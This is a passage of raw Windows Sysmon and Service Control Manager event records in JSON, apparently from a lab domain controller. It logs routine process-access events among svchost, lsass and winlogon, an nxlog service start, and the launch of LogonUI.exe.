11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":759,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1040\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+20794|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1040","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+20794|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":760,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1040\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+207dc|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1040","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+207dc|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":761,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1040\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+7c8b|c:\\windows\\system32\\lsm.dll+2084f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1040","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+7c8b|c:\\windows\\system32\\lsm.dll+2084f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76803,"ProcessID":852,"ThreadID":1152,"Channel":"System","Message":"The nxlog service entered the running state.","param1":"nxlog","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":762,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.110\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.110","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":763,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.110\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.110","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":764,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.110\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.110","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":765,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.110\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+827d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.110","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+827d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":766,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.121\r\nProcessGuid: {90617006-3FD4-5F2D-0000-001076B40000}\r\nProcessId: 1092\r\nImage: C:\\Windows\\System32\\LogonUI.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Logon User Interface Host\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: logonui.exe\r\nCommandLine: \"LogonUI.exe\" /flags:0x2 /state0:0xa3b9e055 /state1:0x41c64e6d\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 1\r\nIntegrityLevel: System\r\nHashes: MD5=B38DFCF985D8AE5B1A17C264981E61C7,SHA256=AA62D29803D52EC06CD27ED3124E034048F09606EB7342181913C9817C7B44C5,IMPHASH=A6F3A84D171E55B51A7343E05C8DFAC3\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nParentProcessId: 800\r\nParentImage: C:\\Windows\\System32\\winlogon.exe\r\nParentCommandLine: winlogon.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.121","ProcessGuid":"{90617006-3FD4-5F2D-0000-001076B40000}","Image":"C:\\Windows\\System32\\LogonUI.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Logon User Interface Host","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"logonui.exe","CommandLine":"\"LogonUI.exe\" /flags:0x2 /state0:0xa3b9e055 /state1:0x41c64e6d","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"1","IntegrityLevel":"System","Hashes":"MD5=B38DFCF985D8AE5B1A17C264981E61C7,SHA256=AA62D29803D52EC06CD27ED3124E034048F09606EB7342181913C9817C7B44C5,IMPHASH=A6F3A84D171E55B51A7343E05C8DFAC3","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-0010244B0000}","ParentProcessId":"800","ParentImage":"C:\\Windows\\System32\\winlogon.exe","ParentCommandLine":"winlogon.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 